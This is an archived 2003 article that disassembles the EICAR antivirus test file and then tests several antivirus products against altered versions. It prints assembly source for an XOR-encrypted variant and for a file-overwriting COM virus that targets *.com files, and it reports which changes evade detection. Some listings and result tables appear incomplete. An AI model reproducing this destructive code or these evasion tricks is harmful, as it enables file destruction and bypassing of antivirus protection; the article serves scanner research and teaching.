TUCoPS :: Malware :: eicarfun.txt

Let's have fun with the EICAR test file!

Let's have fun with EICAR test file

This text is about eicar.com, a famous industry-standard test file designed
to check antivirus software working status. We'll first discuss fairly
in detail of what it's made, after which we'll "play" a little with it.
You are supposed to have a reasonable background with COM files and assembly
language programming.

They call this Introduction

EICAR stands for "European Institute for Computer Antivirus Research".
What they are involved in won't require a great work of your brain (go
to www.eicar.org otherwise)...

A few years ago, they released a file, cleverly named eicar.com, designed
to help users to check their own antivirus (AV) software. Its official
name is "EICAR Standard Antivirus Test File" (ESATF). Here are some pieces
of information about it:

- - It's short, only 68 (44h) bytes in length. You won't spend too much
time or money downloading it. Furthermore, you can duplicate and distribute
it quickly.
- - It's made up of exclusively printable ASCII characters. Thus you can
easily create it with any plain text editor if you have no mean to download
it. Here's its contents:


Figure 1. ESATF ASCII form.

As you can see, there are solely capital letters, digits or punctuation
marks; no space or character from outer space. The third symbol is the
upper case letter "O", not zero.

- - It's not a virus at all (using a true one to test your AV would be
really irresponsible), just a legit and safe DOS COM file! When running,
 it only prints the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string on your
screen (more details about its implementation below). The choice of COM
file is just a practical consideration: a way to be sure to "run" correctly
from DOS OSes to the last Windows OSes...

Every AV should react when facing ESATF. It's a now well known industry-
standard test file and all credible running AV must "detect" it. Actually,
 it should behave "as if" ESATF was a virus: appropriate warning message
(some display something like "File infected with EICAR-Test-File" but
they ought to be less stressful; ESATF isn't a virus and AVs shouldn't
frighten novices) locking access to the file, putting in quarantine,
etc. Note it's a safe and easy way to ensure yourself your AV is really
and correctly working (maybe the opportunity to observe your first digital
"viral" incident)... and that's what ESATF has been designed for!

EICAR provides also two zipped versions of ESATF in order to test dispositions
of AVs to deal with zip archive files. One is the "code" seen above (Figure
1) just zipped. The last one is the zipped version... zipped one more
time (a double zip archive). Therefore, you can assess the AV unzip level
as well.

Looking inside ESATF guts

Here's the disassembled code of eicar.com. Traditionally, memory locations
are specified using the segment:offset notation, but as segment values
don't matter within the context of this article, they are omitted:

 Step Offset Opcodes Instruction

 01 0100 58 pop  ax
 02 0101 354F21 xor  ax,214Fh
 03 0104 50 push ax
 04 0105 254041 and  ax,4140h
 05 0108 50 push ax
 06 0109 5B pop  bx
 07 010A 345C xor  al,5Ch
 08 010C 50 push ax
 09 010D 5A pop  dx
 10 010E 58 pop  ax
 11 010F 353428 xor  ax,2834h
 12 0112 50 push ax
 13 0113 5E pop  si
 14 0114 2937 sub  [bx],si
 15 0116 43 inc  bx
 16 0117 43 inc  bx
 17 0118 2937 sub  [bx],si
 18 011A 7D24 jge  0140
 19 011C 45494341
 20 0140 48 dec  ax
 21 0141 2B482A sub  cx,[bx+si+2A]

Figure 2. ESATF disassembling.

It seems to be a weird code just for printing a string on the screen
uh?! But don't forget one requirement from the authors: it must be possible
to create the file using a plain text editor, so they had to use only
alphabetic symbols, digits and common punctuation marks. To remove any
doubt, lower case letters and space were excluded. Thus, only subsets
of ASCII characters are available, ranging from 21h (exclamation mark:
!) to 60h (single opening quotation mark: ') and from 7Bh (opening brace:
{) to 7Dh (closing brace: }).

Here are ESATF characters hexadecimal codes:

   00 01 02 03 04 05 06 07

 00 58 35 4F 21 50 25 40 41
 01 50 5B 34 5C 50 5A 58 35
 02 34 28 50 5E 29 37 43 43
 03 29 37 7D 24 45 49 43 41
 04 52 2D 53 54 41 4E 44 41
 05 52 44 2D 41 4E 54 49 56
 06 49 52 55 53 2D 54 45 53
 07 54 2D 46 49 4C 45 21 24
 08 48 2B 48 2A

Figure 3. ESATF hexadecimal codes.

In a more classic way, we may write ESATF like this (Microsoft MASM code):

 01 .386
 06      ORG 100h
 08      @START: jmp @GO
 12         @GO: mov DX,OFFSET msg
 13              mov ax,0900h
 14              int 21h
 15              int 20h
 19      END @START
Figure 4. ESATF-Like source code.

When running, result is the same as with ESATF, but the assembled final
file has a smaller size (48 bytes). Here is the disassembling of ESATF-

 Step Offset Opcodes Instruction

 01 0100 EB24 jmp 0126h
 02 0102 45494341
 03 0126 BA0201 mov dx,0102h
 04 0129 B80009 mov ax,0900h
 05 012C CD21 int 21h
 06 012E CD20 int 20h

Figure 5. ESATF-Like disassembling.

Unfortunately, you can notice plenty of hexadecimal codes out of the
"allowed" range [21h-60h,7Bh-7Dh], particularly interrupts calls opcodes!
That's why ESATF designers chose to use a very common trick from the
"viral scene" to encode it: self-modifying code...

Let's debug (or spelunking ESATF)!

For an easier reading of the following, keep Figure 2 close to your eyes.
Once "launched", eicar.com is loaded in memory at address 100h, just
after the 256 (100h) bytes in size PSP (Program Segment Prefix). The
first instruction is:

01  0100  58  pop ax

In English, we move two bytes of the stack from the SS:[SP] address into
the AX register. Initially, SP is set to FFFEh and the 16 bits value
stored there is 0. Thus, we just move 0 into AX.
AX = 0 and SP = 0.

02  0101  354F21  xor ax,214Fh

0 XOR 214Fh = 214Fh. Opcodes show the 214Fh value "inverted" (4F21);
it's just because Intel microprocessors use Little Endian convention
to store bytes in memory: the least significant byte (also called low
byte) is stored first, at the lowest address, while the most significant
byte (high byte) is stored at the highest address.
AX = 214Fh and SP = 0.

03  0104  50  push ax

SP is decremented by 2 and AX contents (214Fh) pushed at SS:[SP]. Well,
 because it's a memory location, the actual value stored is 4F21h; in
order to keep things simple, I cheat a bit...
AX = 214Fh, SP = FFFEh and SS:[SP] = 214Fh.

04  0105  254041  and ax,4140h

214Fh AND 4140h = 140h. It's the address of the first instruction in
memory after the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string (go back
to Figure 2). Once again, be aware of the Little Endian order in memory.
AX = 140h, SP = FFFEh and SS:[SP] = 214Fh.

05  0108  50  push ax

A stack operation more!
AX = 140h, SP = FFFCh, SS:[SP] = 140h and SS:[SP+2] = 214Fh.

06  0109  5B  pop bx

Using a pop instruction just after a push one is simply equivalent to
a mov instruction.
AX = 140h, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.

07  010A  345C  xor al,5Ch

AX holds 140h, hence AH = 00000001b and AL = 01000000b. AL XOR 5Ch =
01000000b XOR 01011100b = 00011100b = 1Ch. AX = 0000000100011100b = 11Ch.
Notice it's the memory offset of the string to be displayed (check it
in Figure 2).
AX = 11Ch, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.

08  010C  50  push ax
09  010D  5A  pop  dx

DX now contains the ESATF warning string address. Compare with code in
Figure 4 and you should grasp what ESATF intends to build in memory...
AX = 11Ch, BX = 140h, DX = 11Ch, SP = FFFEh and SS:[SP] = 214Fh.

10  010E  58  pop ax

AX = 214Fh, BX = 140h, DX = 11Ch and SP = 0.

11  010F  353428  xor ax,2834h

AX XOR 2834h = 214Fh XOR 2834h = 97Bh.
AX = 97Bh, BX = 140h, DX = 11Ch and SP = 0.

12  0112  50  push ax
13  0113  5E  pop  si

AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.

14  0114  2937  sub [bx],si

There are a few tricks here! First, the two bytes at [bx] location (address
140h) are 48h and 2Bh (look step 20 opcode and first byte of step 21
opcode in Figure 2); But remember Little Endian order! Hence, the 16
bits value returned is 2B48h and the instruction above is equivalent
to: [140h] = 2B48h - 097Bh = 21CDh... and still because Little Endian,
 the actual value written at 140h is CD21h, that is, opcodes of the int
21h instruction!

All we did until now can easily be summarized:

mov dx,OFFSET Msg
mov ax,097Bh
int 21h

Nothing more! If you compare with ESATF-Like code in Figure 4, the little
difference is that AL holds the 7Bh value instead of 0. It's of no consequence,
 because only AH contents (sub-function number) matters.
AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.

15  0116  43  inc bx
16  0117  43  inc bx

BX = BX+2 = 142h. It's the address of the last two bytes in memory of
eicar.com (again, refer to Figure 2).
AX = 97Bh, BX = 142h, DX = 11Ch, SI = 97Bh and SP = 0.

17  0118  2937  sub [bx],si

The same stratagem seen at step 14 above is used once more! At address
142h, the 16 bits value stored is 482Ah; once reverted we have 2A48h.
Hence, 2A48h - SI = 2A48h - 97Bh = 20CDh (actually stored CD20h at 142h
location). These two bytes (CD20h) are opcodes of the int 20h instruction,
 the traditional way to end a COM program... and the last instruction
of our ESATF-Like program!

18  011A  7D24  jge 0140

After step 17 processing, ZF flag is not set (just use the DOS Debug
tool and trace eicar.com; at step 18 you'll see NZ value for ZF flag),
 then we simply jump to 140h in memory, where the "first" instruction
of ESATF (int 21h) is; actually, we start a "new" code, the same as in
Figure 4. Et voilà! Simple and easy uh?

So what?

Well, after this brief and cool introduction, it's time to have fun!
The idea is: ESATF is not a virus, but it's used "as if" it was a real
one. So what if we alter its code giving it true viral behaviors? What
if we just "play" a little with its code? As you will see... weird stuff!

Okay, some will say "Hey dude, ESATF is not designed to test and stress
AVs algorithms, but to check if AVs are working...". I know that, but
I partially agree with them; after all, ESATF is used to "check", so,
 in order to get a "full" checking, I think it should be treated like
a true virus, even if it's not supposed to "evolve" like the real ones
do. To check or not to check... Then, using ESATF is a cool and legal
way to learn how AVs do their job: we won't disassemble any AV or break
any licence agreements in our tests! The nice part is to watch how heuristics
work with a code in principle detected by its signature (somehow, a way
to assess the limits of this method). Above all, just remind the title
of this text...

First of all, to play... we need AVs! I'm not a specialist about AVs
at all, then I just chose the "famous" ones (at least, those I heard
about). I went to the Web to download trial versions of these products;
if there was no one available, the online version is used. Here is the

 Acronym Name Version Company

 AAV AVG Antivirus 7.0.124 Grisoft
 BAV Bitdefender 7.1 Softwin
 CAV PC-cillin 10.02.1072 Trend Micro
 FAV F-Prot 3.13a Frisk Software International
 KAV Kaspersky Antivirus Kaspersky
 NAV Norton Antivirus 9.07.24d Symantec
 PAV Panda ActiveScan 4.2 (online) Panda Software
 RAV RAV Antivirus 8.6.105 GeCAD Software
 VAV McAfee VirusScan 7.02.6000 Networks Associates

Figure 6. AVs hired for fun...

ESATF compliance

We simply ask AVs to check the real eicar.com zipped into a file called

 AV Message

 CAV Eicar_test_file.
 FAV EICAR_Test_File (exact).
 KAV EICAR-Test-File.
 NAV EICAR Test String.
 RAV EICAR_Test_File.
 VAV EICAR test file.

Figure 7. Compliance test.

Good news! As I said above, ESATF (even zipped) is a well known industry-
standard test file... It's another legitimate reason to use ESATF for
our games: everyone knows it!

Fun stuff - Part I

Now, let's play with the character string in ESATF. Instead of "EICAR-
FILE!"; only the last three letters of the word "STANDARD" have been
modified ("ARD" replaced by "ING"), the size of the virus is still the
same, instructions too. The test file name is eicar2.zip. Here are the
results (when an AV says "No viral code detected" or something like,
we mention N/D for "not detected"):

 AV Message

 AAV EICAR_Test ( modified ).
 FAV EICAR_Test_File.unknown?

Figure 8. String altered test.

Only three AVs are aware of the alteration! Are others using the original
ESATF string as signature? If so, it's not very clever (should they learn
about wildcard string? For the "fun", they could have search for the
EICAR? pattern!)...

Some can say that ESATF altered... is not ESATF! Blind AVs are right
then? I don't think so. Tons of viruses variants are simply alterations
of some bytes of the genuine virus. For example, often, lamers just modify
the copyright or the name of the author. Therefore, it's not a good method
to detect viruses using fixed bytes that are never executed: most of
the time, it leads to absurdities (recently, a guy showed that NAV detected
any file containing the string "Eddie lives...somewhere in time!" as
being infected by the Dark Avenger virus...). This kind of privilege
(probably used to speed up the scanning process) shouldn't be granted,
 even to ESATF! I guess AVs ought to "see" a variant. On the other hand,
 68 bytes don't give us many choices for a signature...

At last, a strange idea comes to my mind: do some AVs bypass stages if
a "known" virus doesn't look like what it's supposed to be? I mean, if
a virus isn't, for example, supposed to be encrypted, is this possibility
purely bypassed during scanning? In other words, does it mean that only
signatures of viruses known to be encrypted are taken in account while
AVs are processing encrypted parts of a suspicious code? If so, detection
of known viruses variants is confronted with a strong limitation...

Fun stuff - Part II

Let's go one step further, what about emulation? In the first test, we
just add a NOP (90h) instruction at the beginning of ESATF. Of course,
 we must take in consideration that this byte shifts addresses forward
in memory! Fortunately, we only need to increment one byte of ESATF:
at step 4 in Figure 2, we must replace 254041 opcodes values with 254141:

 AV Message

 FAV New or modified variant of Trivial.

Figure 9. NOP test.

One AV show some interest for our test... but F-Prot is on the bad path;
Trivial is a family of short in size COM infectors damaging one single
file at a time. Nothing to do with ESATF!

In the second test, we bypass ESATF: we simply jump to the end of the
code where an int 20h instruction ends the process. ESATF is never executed
but is in working order! Some external code could easily call it (with
Debug, load the following code and trace/run it starting from the 102h
address: ESATF is functional!):

 01 .386
 06      ORG 100h
 08      @START: jmp @END
 09              pop  ax
 10              xor  ax,214Fh
 11              push ax
 12              and  ax,4142h
 13              push ax
 14              pop  bx
 15              xor  al,5Ch
 16              push ax
 17              pop  dx
 18              pop  ax
 19              xor  ax,2834h
 20              push ax
 21              pop  si
 22              sub  [bx],si
 23              inc  bx
 24              inc  bx
 25              sub  [bx],si
 26              jge  @RUN
 28        @RUN: dec  ax
 29              sub  cx,[bx+si+2Ah]
 30        @END: int  20h
 34      END @START
Figure 10. ESATF "bypassed" source code.

 AV Message


Figure 11. JMP test.

No one cares! Does it mean that emulation and heuristics are a de luxe
tool? What kind of code can trigger their reaction? Note that if we don't
"adjust" ESATF code (making it inoperative then), Figure 11 results are
the same. However, PC-cillin and RAV react to the NOP test; at least,
 you can guess what signature they use for ESATF :-).

Fun stuff - Part III

A lot of viruses use encryption. Let's do the same with ESATF! In order
to keep things simple, we just XOR each of its bytes with the value 55h:

   00 01 02 03 04 05 06 07

 00 0D 60 1A 74 05 70 15 14
 01 05 0E 61 09 05 0F 0D 60
 02 61 7D 05 0B 7C 62 16 16
 03 7C 62 28 71 10 1C 16 14
 04 07 78 06 01 14 1B 11 14
 05 07 11 78 14 1B 01 1C 03
 06 1C 07 00 06 78 01 10 06
 07 01 78 13 1C 19 10 74 71
 08 1D 7E 1D 7F

Figure 12. ESATF XORed with 55h.

Now, let's give ESATF a true suspicious viral behavior: a decryption
loop. Here is the code:

 01 .386
 06      ORG 100h
 08      @START: jmp   @GO
 09      @EICAR:
 10              DB    0Dh,60h,1Ah,74h,05h,70h,15h,14h
 11              DB    05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
 12              DB    61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
 13              DB    7Ch,62h,28h,71h,10h,1Ch,16h,14h
 14              DB    07h,78h,06h,01h,14h,1Bh,11h,14h
 15              DB    07h,11h,78h,14h,1Bh,01h,1Ch,03h
 16              DB    1Ch,07h,00h,06h,78h,01h,10h,06h
 17              DB    01h,78h,13h,1Ch,19h,10h,74h,71h
 18              DB    1Dh,7Eh,1Dh,7Fh
 19         @GO: mov   cx,44h
 20              mov   si,@EICAR
 21              mov   di,@START
 22    @DECRYPT: lodsb
 23              xor   al,55h
 24              stosb
 25              loop  @DECRYPT
 26              JMP   @START
 30      END @START
Figure 13. ESATF encrypted source code.

Notice that after the decryption process, ESATF original code is in memory,
 beginning at address 100h; that is, if AVs are using a bit of emulation,
 they won't be fooled:

 AV Message

 FAV New or modified variant of Trivial.
 KAV EICAR-Test-File.

Figure 14. Encryption test.

Actually, just three AVs do their job (but F-Prot is still wrong)! As
a matter of interest, this article is following a discussion I had on
the fr.comp.securite.virus newsgroup; the first time I published the
Figure 13 source code, KAV didn't react. But someone send it to Kaspersky's
and a few hours later the detection worked...

I find this a little bit funny. For sure, we must note the speed of reaction
and the importance to warn AV editors, but, however, what if we use thousand
of different "modified" ESATF? Do they add signatures indefinitely?

Let's try with a 67h XORed version: KAV finds ESATF again. Okay! what
with an ORed crypted version then? This time, KAV is defeated. Did they
take care of XOR encryption only? Strange strategy...

Fun stuff - Part IV

Well, now... the great show: file search and replication parts are included!
The final code is similar to what we found in the past inside true lamer
COM overwriter viruses:

 01 .386
 06      ORG 100h
 08      @START: jmp   @GO
 09      @EICAR:
 10              DB    0Dh,60h,1Ah,74h,05h,70h,15h,14h
 11              DB    05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
 12              DB    61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
 13              DB    7Ch,62h,28h,71h,10h,1Ch,16h,14h
 14              DB    07h,78h,06h,01h,14h,1Bh,11h,14h
 15              DB    07h,11h,78h,14h,1Bh,01h,1Ch,03h
 16              DB    1Ch,07h,00h,06h,78h,01h,10h,06h
 17              DB    01h,78h,13h,1Ch,19h,10h,74h,71h
 18              DB    1Dh,7Eh,1Dh,7Fh
 19     FileName DB    "goat.com",0
 20         @GO: mov   ax,4E00h
 21              mov   cx,00100111b
 22              mov   dx,OFFSET FileName
 23              int   21h
 24              jc    @RUN
 26              mov   ah,3Dh
 27              mov   al,10010010b
 28              mov   dx,09Eh
 29              int   21h
 30              jc    @RUN
 31              mov   bx,ax
 33              mov   cx,@END-@START
 34              mov   dx,@START
 35              mov   ax,4000h
 36              int   21h
 38              mov   ax,3E00h
 39              int   21h
 41        @RUN: mov   cx,44h
 42              mov   si,@EICAR
 43              mov   di,@START
 44    @DECRYPT: lodsb
 45              xor   al,55h
 46              stosb
 47              loop  @DECRYPT
 48              JMP   @START
 49        @END:
 53      END @START
Figure 15. ESATF "overwriter" source code.

It's a very simple program! First, we look for a COM file; in order to
restrict the virus action, we search for a file called goat.com (just
create an empty file and save it with that name) in the directory where
eicar.com is. It's the unique possible target. Then, we open this file
and copy our virus code into it. Actually, we overwrite the target contents;
it's clearly a destruction action! Finally, we close the file and run
ESATF code after its decryption.

You may think "well, overwriters viruses are known for ages, heuristics
will defeat this kind of code". After all, looking for a file and replication
are not very discreet treatments... Look:

 AV Message

 FAV New or modified variant of Trivial.
 VAV A virus was detected.

Figure 16. Specific overwriter test.

Note that McAfee detects a virus but is unable to name it. RAV still
recognizes ESATF... but it goofed up! ESATF is "just" the payload now.
It's not a good idea to keep EICAR name because it could mislead the
user. Even not really accurate, McAfee approch is more "safe". F-Prot
finds a Trivial variant; this time, it's a good answer.

Well, some will say that the code above is not very dangerous, it has
no chance to spread wide. AVs don't react because a code writting into
a file is very common... I could reply that COM files are rarely used
to store data but it's better to give another test!

This time, let's replace "goat.com" by "*.com" at step 19 in Figure 15
source code:

 AV Message

 AAV Found unknown virus .EXE.COM.
 BAV Is infected with Trivial.136.Gen.
 FAV New or modified variant of Trivial.
 KAV Type_Trivial.
 NAV Bloodhound.DirActCOM.
 RAV Trivial-based.136.
 VAV Univ.ow/e.

Figure 17. Blind overwriter test.

Phew! This time heuristics do their duty: if code appears to be really
harmful, they shout. Note that NAV uses a very strange naming. Once connected
to their "security response" page, I only get a "No additional information."...
not very explicit!

Our file was named eicar6_a.com. Just let's rename it eicar6_b.abc. You
know what? NAV and McAfee see nothing now! Detection based on file extension?
AVs are amazingly fascinating. Definitely.

A last one? Still at step 19, we now write ").com" instead of "*.com".
At step 23, we insert:

 23 mov bx,dx
 24 inc byte ptr [bx]

It's simply a nod in the direction of ESATF authors: its our turn now
to "play" in memory! Here are the results:

 AV Message

 AAV Found unknown virus .EXE.COM.
 FAV New or modified variant of Trivial.
 KAV Type_Trivial.
 NAV Bloodhound.DirActCOM.
 RAV Trivial-based.140.
 VAV Univ.ow/e.

Figure 18. Specific overwriter test.

Bitdefender gives up (but it was predictable in the light of some previous
tests) and RAV shows an impressive collection of Trivial variants...

It's time to wrap up!

Well, we saw a lot of stuff but I'll be concise!

- - Detection of known viruses variants using only signatures has its limits.
- - Obviously, there are as many algorithms as there are AVs. But no one
can claim the absolute truth.
- - Emulation isn't always used or inneficient.
- - Even with known viruses, AVs aren't absolutely reliable; just modify
a few bytes and they are blind.
- - In case of true harmful code, heuristics are aware. But there are some
- - Signatures aren't always optimal.
- - AVs have weird behaviors: often it's all or nothing, a good identification
or... the void. Above all, why not a common naming for viruses?
- - Viruses research is a hard topic, whether it is for known or unknown
- - Is RAV a good choice for Microsoft (don't kick my head!)?


- - The OS used for this article was Windows XP Home Edition with full
privileges :-).
- - Believe me dear friends, it's really hard to use several AVs at the
same time (for sure, next time, I'll only use online versions)! Moreover,
 a lot of work must be done to simplify their configuration: I spent
too much time scratching my head to simply understand some settings!
What about novices in computer security?


"The Anti-Virus test file", at www.eicar.org.
The original explanations about ESATF.

"An Examination of the EICAR Standard AV Test Program", by The Starman.
Thus, I'm not the only one who dared to dig into ESATF?


Deep thanks to Tweakie, alias "you should add this test" and Frédéric
Musical inspiration: Cannibal Corpse.

Enjoy, cya!

v. 1.0 - 06/27/2003 AMcD

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH